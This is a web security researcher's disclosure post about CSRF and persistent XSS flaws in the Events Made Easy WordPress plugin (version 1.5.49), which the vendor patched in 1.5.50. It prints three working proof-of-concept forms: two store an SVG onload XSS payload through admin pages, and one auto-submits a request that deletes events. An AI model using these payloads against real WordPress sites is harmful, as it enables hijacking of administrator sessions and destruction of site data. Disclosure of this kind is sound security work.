David Sopas – Web Security Researcher

October 15, 2015 at 7:48 pm

Events Made Easy WordPress plugin CSRF + Persistent XSS

Events Made Easy WordPress plugin CSRF + Persistent XSS

Plugin link: https://wordpress.org/plugins/events-made-easy/
Active Installs: 10,000+
Version tested: 1.5.49
CVE Reference: Waiting

Events Made Easy is a full-featured event management solution for WordPress. Events Made Easy supports public, private, draft and recurring events, locations management, RSVP (+ optional approval), Paypal, 2Checkout, FirstData and Google maps. With Events Made Easy you can plan and publish your event, or let people reserve spaces for your weekly meetings. You can add events list, calendars and description to your blog using multiple sidebar widgets or shortcodes; if you are a web designer you can simply employ the template tags provided by Events Made Easy.

When playing around with this plugin I noticed a couple of vulnerabilities. In my opinion they are critical because they can could cause damage to a WordPress installation.
All of them are related to CSRF where the vendor forgot to place a security token (wp_nonce) on the affected forms.

#1 Add template CSRF + Persistent XSS

URL: /wp-admin/admin.php?page=eme-templates

If a authenticated admin clicks on the “Add template” button on a html with this code:

<form action="https://victims_website/wp-admin/admin.php?page=eme-templates" method="POST">
<input type="hidden" name="eme_admin_action" value="do_addtemplate" />
<input type="hidden" name="description" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="format" value="csrf" />
<input type="submit" name="submit" value="Add template" />
</form>

It will add a Persistent XSS vector on the template description field. This field is automatically executed when the admin visits the page admin.php?page=eme-templates.

Possible attack scenario:

  1. Malicious user checks that Events Made Easy is installed on a WordPress installation
  2. Malicious sends admin a link to the page that has a auto-submit form with a XSS vector that hijacks victims browser
  3. Victim visits the page and gets hijacked

#2 Add Form Field CSRF + Persistent XSS

URL: /wp-admin/admin.php?page=eme-formfields

If a authenticated admin clicks on the “Add field” button on a html with this code:

<form action="https://victims_website/wp-admin/admin.php?page=eme-formfields" method="POST">
<input type="hidden" name="eme_admin_action" value="do_addformfield" />
<input type="hidden" name="field_name" value="<svg/onload=confirm(1)>" />
<input type="hidden" name="field_type" value="1" />
<input type="hidden" name="field_info" value="csrf" />
<input type="hidden" name="field_tags" value="csrf" />
<input type="submit" name="submit" value="Add field" />
</form>

Like vulnerability #1 the attack scenario is the same. Same issue affects form fields on this plugin.

#3 Remove events older than CSRF

URL: /wp-admin/admin.php?page=eme-cleanup

With this CSRF a malicious user could delete all the events older than a certain number.
In my proof of concept I used a auto-submit form that could also be used in vulnerabilities #1 and #2.

<form action="https://victims_website/wp-admin/admin.php?page=eme-cleanup" name="dsopas" method="POST">
<input type="hidden" name="page" value="eme-cleanup" />
<input type="hidden" name="eme_admin_action" value="eme_cleanup" />
<input type="hidden" name="eme_number" value="1" />
<input type="hidden" name="eme_period" value="day" />
<input type="hidden" name="doaction" value="Apply" />
</form> <script> document.dsopas.submit(); </script> 

Possible attack scenario:

  1. Malicious user checks that Events Made Easy is installed on a WordPress installation
  2. Malicious sends admin a link to the page that has this auto-submit form
  3. Without victim noticing, events older than 1 day will be removed.

Solution:
Vendor in a matter of few hours launched a patched version – 1.5.50. Also he was kind enough to put my name on the changelog.

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